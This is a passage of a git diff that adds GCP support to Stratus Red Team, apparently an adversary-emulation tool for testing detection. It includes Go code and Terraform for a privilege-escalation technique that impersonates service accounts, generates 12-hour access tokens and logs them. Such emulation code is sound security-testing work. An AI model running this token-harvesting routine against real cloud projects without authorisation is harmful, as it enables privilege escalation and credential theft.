len(serviceAccountEmails) + + iamCredentialsClient, err := iamcredentials.NewService(context.Background(), providers.GCP().Options()) + if err != nil { + return fmt.Errorf("unable to instantiate GCP IAM client: %v", err) + } + + log.Println("Attempting to impersonate each of the " + strconv.Itoa(numServiceAccounts) + " service accounts") + + success := false + for _, serviceAccountEmail := range serviceAccountEmails { + accessToken, err := impersonateServiceAccount(iamCredentialsClient, serviceAccountEmail) + if err != nil { + if isPermissionDeniedError(err) { + log.Println("Attempting to impersonate " + serviceAccountEmail + " yielded an 'access denied' error, as expected") + } else { + return fmt.Errorf("unexpected error while attempting to impersonate a service account: %v", err) + } + } else { + log.Printf("Successfully retrieved an access token for %s: \n %s\n", serviceAccountEmail, getPrintableAccessToken(accessToken)) + success = true + } + } + + if !success { + log.Println("Note: None of the impersonation attempts succeeded. " + + "It might take a few seconds for GCP to take the permissions into account; try again in a few seconds!") + } + return nil +} + +// Simulates the impersonation of a service account +func impersonateServiceAccount(iamCredentialsClient *iamcredentials.Service, serviceAccountEmail string) (string, error) { + // see also: https://cloud.google.com/iam/docs/create-short-lived-credentials-direct#sa-credentials-oauth + serviceAccountName := fmt.Sprintf("projects/-/serviceAccounts/%s", serviceAccountEmail) + response, err := iamCredentialsClient.Projects.ServiceAccounts.GenerateAccessToken(serviceAccountName, &iamcredentials.GenerateAccessTokenRequest{ + Scope: []string{"https://www.googleapis.com/auth/cloud-platform"}, + Lifetime: "43200s", // 12 hours, the maximum allowed lifetime + }).Do() + + if err != nil { + return "", err + } + + return response.AccessToken, nil +} + +// Checks if an error returned by `GenerateAccessToken` corresponds to an (expected) access denied error +func isPermissionDeniedError(err error) bool { + return strings.Contains(err.Error(), "403: The caller does not have permission") +} + +// For some reason, the access tokens are padded with dots, which isn't pretty to display +func getPrintableAccessToken(accessToken string) string { + var i int + for i = len(accessToken) - 1; accessToken[i] == '.'; i-- { + } + return accessToken[:i+1] +} diff --git a/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.tf b/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.tf new file mode 100644 index 00000000..c0ce9366 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts/main.tf @@ -0,0 +1,53 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 4.28.0" + } + } +} + +data "google_client_openid_userinfo" "whoami" {} + +locals { + num-service-accounts = 10 +} + +resource "random_string" "suffix" { + count = local.num-service-accounts + length = 8 + special = false + min_lower = 4 + min_numeric = 4 +} + +// Create N service accounts +resource "google_service_account" "service_account" { + count = local.num-service-accounts + account_id = format("stratus-red-team-%s", random_string.suffix[count.index].result) + description = "Service account used by Stratus Red Team for gcp.privilege-escalation.impersonate-service-accounts" +} + + +// Allow the current user to impersonate a single of the created service accounts +resource "google_service_account_iam_policy" "iam_policy" { + service_account_id = google_service_account.service_account[local.num-service-accounts - 1].name + policy_data = data.google_iam_policy.allow-impersonation.policy_data +} + +data "google_iam_policy" "allow-impersonation" { + binding { + role = "roles/iam.serviceAccountTokenCreator" + members = [ + format("user:%s", data.google_client_openid_userinfo.whoami.email) + ] + } +} + +output "service_account_emails" { + value = join(",", google_service_account.service_account[*].email) +} + +output "display" { + value = format("%d service accounts created and ready:\n - %s", local.num-service-accounts, join("\n - ", google_service_account.service_account[*].email)) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index ddf5977b..c8eb287c 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -31,6 +31,9 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-custom-script-extension" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/privilege-escalation/impersonate-service-accounts" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/dump-secrets" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/credential-access/steal-serviceaccount-token" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/k8s/persistence/create-admin-clusterrole" diff --git a/v2/internal/providers/gcp.go b/v2/internal/providers/gcp.go new file mode 100644 index 00000000..2a9e6430 --- /dev/null +++ b/v2/internal/providers/gcp.go @@ -0,0 +1,56 @@ +package providers + +import ( + "context" + "os" + + "github.com/google/uuid" + "google.golang.org/api/iam/v1" + "google.golang.org/api/option" +) + +// TF and GCP defines multiple environment variables for this +// https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference#full-reference + +func getProjectId() string { + gcloudProjEnvVars := []string{ + "GOOGLE_PROJECT", + "GOOGLE_CLOUD_PROJECT", + "GCLOUD_PROJECT", + "CLOUDSDK_CORE_PROJECT", + } + for _, key := range gcloudProjEnvVars { + if projectId, hasEnvVariable := os.LookupEnv(key); hasEnvVariable { + return projectId + } + } + return "" +} + +type GcpProvider struct { + UniqueCorrelationId uuid.UUID + ProjectId string +} + +var gcpProvider = GcpProvider{ + UniqueCorrelationId: UniqueExecutionId, + ProjectId: getProjectId(), +} + +func GCP() *GcpProvider { + return &gcpProvider +} + +func (m *GcpProvider) Options() option.ClientOption { + return option.WithUserAgent(GetStratusUserAgent()) +} + +func (m *GcpProvider) IsAuthenticated() bool { + ctx := context.Background() + _, err := iam.NewService(ctx) + return err == nil && m.ProjectId != "" +} + +func (m *GcpProvider) GetProjectId() string { + return m.ProjectId +} diff --git a/v2/internal/utils/functions.go b/v2/internal/utils/functions.go index 5a105514..7495845d 100644 --- a/v2/internal/utils/functions.go +++ b/v2/internal/utils/functions.go @@ -2,6 +2,7 @@ package utils import ( "math/rand" + "time" ) func CoalesceErr(args ...error) error { @@ -15,6 +16,7 @@ func CoalesceErr(args ...error) error { } func RandomString(length int) string { + rand.Seed(time.Now().UnixNano()) const letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789" b := make([]byte, length) for i := range b { @@ -24,6 +26,7 @@ func RandomString(length int) string { } func RandomHexString(length int) string { + rand.Seed(time.Now().UnixNano()) const letterBytes = "abcdef0123456789" b := make([]byte, length) for i := range b { diff --git a/v2/pkg/stratus/platform.go b/v2/pkg/stratus/platform.go index 87529e95..2984c395 100644 --- a/v2/pkg/stratus/platform.go +++ b/v2/pkg/stratus/platform.go @@ -11,6 +11,7 @@ const ( AWS = "AWS" Kubernetes = "kubernetes" Azure = "azure" + GCP = "GCP" ) func PlatformFromString(name string) (Platform, error) { @@ -21,6 +22,8 @@ func PlatformFromString(name string) (Platform, error) { return Kubernetes, nil case strings.ToLower(Azure): return Azure, nil + case strings.ToLower(GCP): + return GCP, nil default: return "", errors.New("unknown platform: " + name) } diff --git a/v2/pkg/stratus/providers.go b/v2/pkg/stratus/providers.go index e11aad25..4d425597 100644 --- a/v2/pkg/stratus/providers.go +++ b/v2/pkg/stratus/providers.go @@ -2,6 +2,7 @@ package stratus import ( "errors" + "github.com/datadog/stratus-red-team/v2/internal/providers" ) @@ -33,6 +34,12 @@ func EnsureAuthenticated(platform Platform) error { return errors.New("You do not have a kubeconfig set up, or you do not have proper permissions for " + "this cluster. Make sure you have proper credentials set in " + providers.GetKubeConfigPath()) } + case GCP: + if !providers.GCP().IsAuthenticated() { + return errors.New("you are not authenticated against GCP, or you have not set your project. " + + "Make sure you are authenticated against GCP and you have set your GCP Project ID in your environment variables" + + " (export GOOGLE_PROJECT=xxx)") + } default: return errors.New("unhandled platform " + string(platform)) } diff --git a/v2/pkg/stratus/registry_test.go b/v2/pkg/stratus/registry_test.go index a3dc3382..1dcf3f15 100644 --- a/v2/pkg/stratus/registry_test.go +++ b/v2/pkg/stratus/registry_test.go @@ -21,10 +21,14 @@ func TestRegistryFiltering(t *testing.T) { registry.RegisterAttackTechnique(&AttackTechnique{ID: "foo", Platform: AWS, MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}}) registry.RegisterAttackTechnique(&AttackTechnique{ID: "bar", Platform: AWS}) registry.RegisterAttackTechnique(&AttackTechnique{ID: "baz", Platform: Kubernetes, MitreAttackTactics: []mitreattack.Tactic{mitreattack.PrivilegeEscalation}}) + registry.RegisterAttackTechnique(&AttackTechnique{ID: "qux", Platform: GCP, MitreAttackTactics: []mitreattack.Tactic{mitreattack.Discovery}}) assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Platform: AWS}), 2) assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Platform: Kubernetes}), 1) + assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Platform: GCP}), 1) assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Tactic: mitreattack.Persistence}), 1) assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Tactic: mitreattack.Execution}), 0) assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Tactic: mitreattack.PrivilegeEscalation}), 1) + assert.Len(t, registry.GetAttackTechniques(&AttackTechniqueFilter{Tactic: mitreattack.Discovery}), 1) + } diff --git a/v2/pkg/stratus/runner/runner.go b/v2/pkg/stratus/runner/runner.go index 54b0891f..56cf887f 100644 --- a/v2/pkg/stratus/runner/runner.go +++ b/v2/pkg/stratus/runner/runner.go @@ -84,6 +84,7 @@ func (m *Runner) WarmUp() (map[string]string, error) { m.setState(stratus.AttackTechniqueStatusWarm) if display, ok := outputs["display"]; ok { + display := strings.ReplaceAll(display, "\\n", "\n") log.Println(display) } return outputs, err diff --git a/v2/tools/generate-techniques-documentation.go b/v2/tools/generate-techniques-documentation.go index 9459071e..3b309b7e 100644 --- a/v2/tools/generate-techniques-documentation.go +++ b/v2/tools/generate-techniques-documentation.go @@ -120,6 +120,8 @@ func FormatPlatformName(platform stratus.Platform) string { return "AWS" case stratus.Azure: return "Azure" + case stratus.GCP: + return "GCP" case stratus.Kubernetes: return "Kubernetes" }